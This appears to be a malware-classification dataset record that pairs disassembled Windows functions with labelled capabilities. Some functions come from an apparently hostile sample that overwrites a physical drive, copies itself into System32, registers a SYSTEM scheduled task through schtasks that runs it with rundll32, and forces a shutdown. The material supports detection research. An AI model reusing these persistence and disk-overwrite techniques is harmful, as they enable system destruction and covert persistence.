joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003dbc8
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rbp - 0x58]
cmp rdi, 0x40000000
jbe 0x18003dc12
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rbx, qword [0x18007ccf8]
lea r12, [rdi + 0x40000000]
cmp qword [rbp - 0x50], r12
cmovbe r12, qword [rbp - 0x50]
sub r12, 0xfff
xor esi, esi
test rbx, rbx
je 0x18003dc50
cmp rbx, r14
jb 0x18003dc4b
cmp rbx, r12
jae 0x18003dc4b
cmp qword [rbx + 8], rsi
jne 0x18003dda7
mov rbx, qword [rbx]
jmp 0x18003dc32
mov r15, rdi
cmp rdi, r14
jb 0x18003dcd4
mov r13d, dword [rbp - 0x38]
xor edx, edx
mov rax, r15
div r13
sub r15, rdx
sub r15, r13
cmp r15, r14
jb 0x18003dccb
mov r8d, 0x30
lea rdx, [rbp - 0x30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18003dccb
cmp dword [rbp - 0x10], 0x10000
je 0x18003dc9b
mov r15, qword [rbp - 0x28]
cmp r15, r13
jb 0x18003dccb
jmp 0x18003dc67
test r15, r15
je 0x18003dccb
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18003dd6c
cmp r15, r14
jae 0x18003dc58
test rbx, rbx
jne 0x18003dd6c
cmp rdi, r12
ja 0x18003dda7
mov r15d, dword [rbp - 0x38]
xor edx, edx
mov rax, rdi
mov r14d, r15d
div r15
mov eax, r15d
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r12
ja 0x18003dda7
mov r8d, 0x30
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18003dda7
cmp dword [rbp - 0x10], 0x10000
je 0x18003dd42
xor edx, edx
lea edi, [r15 - 1]
add rdi, qword [rbp - 0x18]
add rdi, qword [rbp - 0x30]
mov rax, rdi
div r14
sub rdi, rdx
cmp rdi, r12
jmp 0x18003dcfb
test rdi, rdi
je 0x18003dda7
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jmp 0x18003dcce
lea rcx, [rbx + 0x40]
mov dword [rbx + 0x10], esi
mov edx, 0x40
mov qword [rcx], rsi
mov rax, rcx
mov qword [rbx + 8], rcx
add rdx, 0x40
add rcx, 0x40
mov rsi, rax
cmp rdx, 0xfc0
jbe 0x18003dd78
mov rax, qword [0x18007ccf8]
mov qword [rbx], rax
mov qword [0x18007ccf8], rbx
lea r11, [rsp + 0x80]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret

Function at 0x180041c30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
xor r10d, r10d
mov edi, r8d
mov rbx, rdx
mov r11d, 0x7fffffff
test ecx, ecx
jle 0x180041c96
mov qword [rsp + 0x10], rsi
imul edi, r9d
mov r9, rdx
mov esi, ecx
nop word [rax + rax]
mov eax, dword [rbx + 4]
mov ecx, r11d
imul eax, dword [rbx]
lea rbx, [rbx + 0x10]
mov r8, r10
mov r10, r9
sub eax, edi
cdq
xor eax, edx
sub eax, edx
cmp eax, r11d
cmovl r11d, eax
cmp eax, ecx
cmovge r10, r8
add r9, 0x10
sub rsi, 1
jne 0x180041c60
mov rsi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov rax, r10
pop rdi
ret
Function at 0x1800425a0
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov qword [0x18007bc28], rcx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x1800425f9
mov rcx, qword [rbx + 0x368]
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_ScreenToClient]
movd xmm0, dword [rsp + 0x40]
movd xmm1, dword [rsp + 0x44]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
movsd qword [0x18007bc18], xmm0
movsd qword [0x18007bc20], xmm1
mov eax, dword [rbx + 0x90]
cmp eax, 0x34001
je 0x180042616
cmp eax, 0x34004
je 0x180042616
mov rcx, qword [0x18007bc48]
jmp 0x180042635
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x180042625
mov rcx, qword [rcx + 8]
jmp 0x180042635
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, rbx
call fcn.18003e6e0
mov rcx, rbx
call fcn.180041bb0
cmp dword [rbx + 0x210], 0
je 0x180042692
mov rax, qword [rbx + 0x368]
lea rcx, [rsp + 0x20]
mov edx, 1
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x180042692
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.180045500
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1800426a0
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x1800426e2
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.180045500
add rsp, 0x38
ret
Function at 0x1800426f0
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x210], 0
mov rbx, rcx
je 0x180042740
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x180042740
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.180045500
xor ecx, ecx
mov qword [0x18007bc28], 0
call qword [sym.imp.USER32.dll_ClipCursor]
cvttsd2si ecx, qword [0x18007bc18]
mov qword [0x18007bc30], 0
lea rdx, [rsp + 0x40]
cvttsd2si eax, qword [0x18007bc20]
mov dword [rsp + 0x40], ecx
mov dword [rbx + 0x3a8], ecx
mov rcx, qword [rbx + 0x368]
mov dword [rsp + 0x44], eax
mov dword [rbx + 0x3ac], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, dword [rbx + 0x90]
cmp eax, 0x34001
je 0x1800427c9
cmp eax, 0x34004
je 0x1800427c9
mov rcx, qword [0x18007bc48]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x1800427e2
mov rcx, qword [rcx + 8]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]

Function at 0x180042800
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov rax, qword [rcx + 0x368]
mov edx, 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x180042842
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.180045500
add rsp, 0x38
ret

Function at 0x1800428f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, 0x11
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, ebx
mov esi, 0x8000
or edi, 2
mov ecx, 0x12
test si, ax
cmove edi, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
and ax, si
mov ecx, 0x5c
mov esi, edi
or esi, 4
test ax, ax
cmove esi, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, esi
mov ecx, 0x14
or edi, 8
or bx, ax
cmovns edi, esi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, edi
mov ecx, 0x90
or ebx, 0x10
test al, 1
cmove ebx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov rsi, qword [rsp + 0x38]
mov ecx, ebx
or ecx, 0x20
test al, 1
cmove ecx, ebx
mov rbx, qword [rsp + 0x30]
mov eax, ecx
add rsp, 0x20
pop rdi
ret
Function at 0x1800458b0
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x180078fc0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x18007b542]
mov r8d, 0x6d1
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x40]
mov qword [rsp + 0x1d0], rdi
sub r14, 0x480
lea rbp, [0x18007b2c8]
xor r12d, r12d
lea r15, [0x18007b5e2]
mov ebx, 0x20
movsx esi, word [rbp]
cmp esi, 0xffffffff
je 0x180045a68
cmp ebx, 0x140
jb 0x1800459cf
cmp ebx, 0x14e
ja 0x1800459cf
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x44], 0x61
mov dword [rsp + 0x48], 0x62
mov dword [rsp + 0x4c], 0x63
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], 0x65
mov dword [rsp + 0x58], 0x66
mov dword [rsp + 0x5c], 0x67
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x64], 0x69
mov dword [rsp + 0x68], 0x6e
mov dword [rsp + 0x6c], 0x6f
mov dword [rsp + 0x70], 0x6a
mov dword [rsp + 0x74], 0x6d
mov dword [rsp + 0x78], 0x6b
mov edi, dword [r14]
jmp 0x1800459de
mov edx, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], 0x10
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x180045a31
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], 0x10
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x180045a68
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x80]
mov qword [rsp + 0x30], r12
mov r9d, 1
mov dword [rsp + 0x28], 5
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebx
add r15, 5
add r14, 4
add rbp, 2
cmp ebx, 0x15c
jle 0x180045931
mov rdi, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.18004b330
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180049d60
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
mov rax, qword [0x180078fc0]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x18007adc0], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x180049db5
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18004b330
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
nop dword [rax]
mov rcx, rax
call sub.KERNEL32.dll_LoadLibraryA
mov qword [0x18007adc0], rax
test rax, rax
jne 0x180049df7
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x180049dc0
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.18003f2a0
jmp 0x180049f14
lea rdx, str.OSMesaCreateContextExt
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x18007adc0]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x18007adc8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x18007adc0]
lea rdx, str.OSMesaDestroyContext
mov qword [0x18007add0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x18007adc0]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x18007add8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x18007adc0]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x18007ade0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x18007adc0]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x18007ade8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x18007adc0]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x18007adf0], rax
call sub.KERNEL32.dll_GetProcAddress
cmp qword [0x18007adc8], 0
mov qword [0x18007adf8], rax
je 0x180049ee7
cmp qword [0x18007add8], 0
je 0x180049ee7
cmp qword [0x18007ade0], 0
je 0x180049ee7
cmp qword [0x18007ade8], 0
je 0x180049ee7
cmp qword [0x18007adf0], 0
je 0x180049ee7
test rax, rax
je 0x180049ee7
mov eax, 1
jmp 0x180049f16
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.18003f2a0
mov rcx, qword [0x18007adc0]
test rcx, rcx
je 0x180049f14
call sub.KERNEL32.dll_FreeLibrary
mov qword [0x18007adc0], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18004b330
add rsp, 0x48
ret
Function at 0x2277b48fd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0
cmp qword [rbp + 0x10], 0
je 0x2277b493e
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 8], eax
mov dword [rbp - 4], 0
cmp dword [rbp - 8], 0xffffffff
je 0x2277b493e
mov dword [rbp - 4], 1
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret

Function at 0x2277b4b14
Capabilities:
Get file size

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov byte [rbp - 1], 0
mov dword [rbp - 0xc], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.2277b4ad6
test al, al
je 0x2277b4b90
cmp qword [rbp + 0x18], 0
je 0x2277b4b90
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
lea rdx, [rbp - 0xc]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0xffffffff
jne 0x2277b4b73
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2277b4b90
mov byte [rbp - 1], 1
mov eax, dword [rbp - 0xc]
mov eax, eax
shl rax, 4
mov rdx, rax
mov eax, dword [rbp - 8]
or rdx, rax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
movzx eax, byte [rbp - 1]
add rsp, 0x30
pop rbp
ret

Function at 0x2277b4be9
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov dword [rbp - 0x10], 0
cmp qword [rbp + 0x18], 0
je 0x2277b4cad
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.2277b4ad6
mov byte [rbp - 9], al
cmp byte [rbp - 9], 0
je 0x2277b4ca4
cmp qword [rbp + 0x20], 0
je 0x2277b4ca4
mov rax, qword [rbp + 0x10]
add rax, 0x10
movzx eax, byte [rax]
movsx eax, al
and eax, 2
test eax, eax
je 0x2277b4ca4
mov eax, 0xffffffff
cmp rax, qword [rbp + 0x20]
jb 0x2277b4ca4
mov rax, qword [rbp + 0x20]
mov r8d, eax
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
lea rcx, [rbp - 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
je 0x2277b4ca4
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 8]
mov edx, dword [rbp - 0x10]
mov edx, edx
add rdx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov eax, dword [rbp - 0x10]
mov eax, eax
jmp 0x2277b4cb1
mov eax, dword [rbp - 0x10]
mov eax, eax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret

Function at 0x2277b4d26
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
cmp qword [rbp + 0x10], 0
je 0x2277b4d55
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
test eax, eax
setne al
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
add rsp, 0x30
pop rbp
ret
Function at 0x2277b5377
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [0x227dce090]
mov r8d, 0xa
mov edx, 0x65
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2277b53ba
mov eax, 0
jmp 0x2277b5446
mov rax, qword [0x227dce090]
mov rdx, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 8], 0
jne 0x2277b53e3
mov eax, 0
jmp 0x2277b5446
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x2277b5405
mov eax, 0
jmp 0x2277b5446
mov rax, qword [0x227dce090]
mov rdx, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 0x1c], 0
jne 0x2277b542c
mov eax, 0
jmp 0x2277b5446
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x18]
mov qword [rax], rdx
mov edx, dword [rbp - 0x1c]
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov eax, 1
add rsp, 0x40
pop rbp
ret

Function at 0x2277b5713
Capabilities:
Get common file path

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
lea rax, [rbp - 0x60]
mov edx, 0x105
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call rax
test eax, eax
jne 0x2277b5751
mov eax, 0
jmp 0x2277b577a
lea rcx, [rbp - 0x60]
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov r9, rcx
lea r8, str._sSystem32_ampa.sys
mov rcx, rax
call fcn.2277b1380
mov eax, 1
add rsp, 0x130
pop rbp
ret
Function at 0x2277b59a5
Capabilities:
Write file on windows

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x100], ecx
call fcn.2277b5293
test al, al
je 0x2277b59d4
lea rax, str..wowrtDRDISK_u
mov qword [rbp + 0xe8], rax
jmp 0x2277b59e2
lea rax, str..PhysicalDrive_u
mov qword [rbp + 0xe8], rax
mov ecx, dword [rbp + 0x100]
mov rdx, qword [rbp + 0xe8]
lea rax, [rbp - 0x30]
mov r9d, ecx
mov r8, rdx
mov edx, 0x105
mov rcx, rax
call fcn.2277b1380
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xa0000000
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xe0], rax
cmp qword [rbp + 0xe0], 0xffffffffffffffff
jne 0x2277b5a5b
mov eax, 0
jmp 0x2277b5b15
mov ecx, 0x100000
call fcn.2277b4b9a
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x2277b5a93
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x2277b5b15
mov dword [rbp - 0x34], 0
mov rax, qword [0x227dce0a0]
mov r8d, eax
mov rdx, qword [0x227dce098]
lea rcx, [rbp - 0x34]
mov rax, qword [rbp + 0xe0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
setne al
mov byte [rbp + 0xd7], al
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.msvcrt.dll_free
movzx eax, byte [rbp + 0xd7]
xor eax, 1
test al, al
je 0x2277b5b10
mov eax, 0
jmp 0x2277b5b15
mov eax, 1
add rsp, 0x170
pop rbp
ret

Function at 0x2277b5bd8
Capabilities:
Shutdown system

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.SeShutdownPrivilege
mov rcx, rax
call fcn.2277b4eda
xor eax, 1
test al, al
je 0x2277b5bfd
mov eax, 0
jmp 0x2277b5c20
mov edx, 0x80050007
mov ecx, 6
mov rax, qword [sym.imp.USER32.dll_ExitWindowsEx]
call rax
test eax, eax
jne 0x2277b5c1b
mov eax, 0
jmp 0x2277b5c20
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2277b5cd0
Capabilities:
Check if file exists
Copy file
Execute command
Get common file path
Get file attributes
Schedule task via at
Schedule task via schtasks

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x78], 0
lea rax, [rbp + 0x78]
mov r8, rax
lea rax, [sym.loader.dll_install]
mov rdx, rax
mov ecx, 6
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
call rax
test eax, eax
je 0x2277b5dc3
mov rax, qword [rbp + 0x78]
lea rdx, [rbp + 0x10]
mov r8d, 0x64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
je 0x2277b5dc6
lea rax, [rbp - 0x60]
mov edx, 0x64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, 0x64
sub rdx, rax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.w32analytics.dll
mov rcx, rax
call sub.msvcrt.dll_strncat
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x2277b5da3
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x10]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
je 0x2277b5dc9
lea rax, str.schtasks__delete__tn_w32analytics__f
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.schtasks__create__tn_w32analytics__sc_ONCE__st_07:00__ru_SYSTEM__tr__rundll32_w32analytics.dll_dll_u_
mov rcx, rax
call sub.msvcrt.dll_system
jmp 0x2277b5dca
nop
jmp 0x2277b5dca
nop
jmp 0x2277b5dca
nop
add rsp, 0x100
pop rbp
ret

Function at 0x2277b5f80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2277bbb00
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2277bbb00
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x2277b5ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x227dce0f4]
mov rbx, rcx
test esi, esi
jle 0x2277b6120
mov rax, qword [0x227dce0f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2277b603b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2277b60c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2277b6020
mov rcx, rbx
call fcn.2277b6850
mov rdi, rax
test rax, rax
je 0x2277b6142
mov rax, qword [0x227dce0f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.2277b6990
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x227dce0f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2277b6127
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x2277b60be
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x2277b60d0
add dword [0x227dce0f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x227dce0f8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2277b60be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2277b5f80
nop dword [rax]
xor esi, esi
jmp 0x2277b6048
mov rax, qword [0x227dce0f8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2277b5f80
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.2277b5f80
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2277b64c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x227dce120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x227dce100]
test rbx, rbx
je 0x2277b651c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
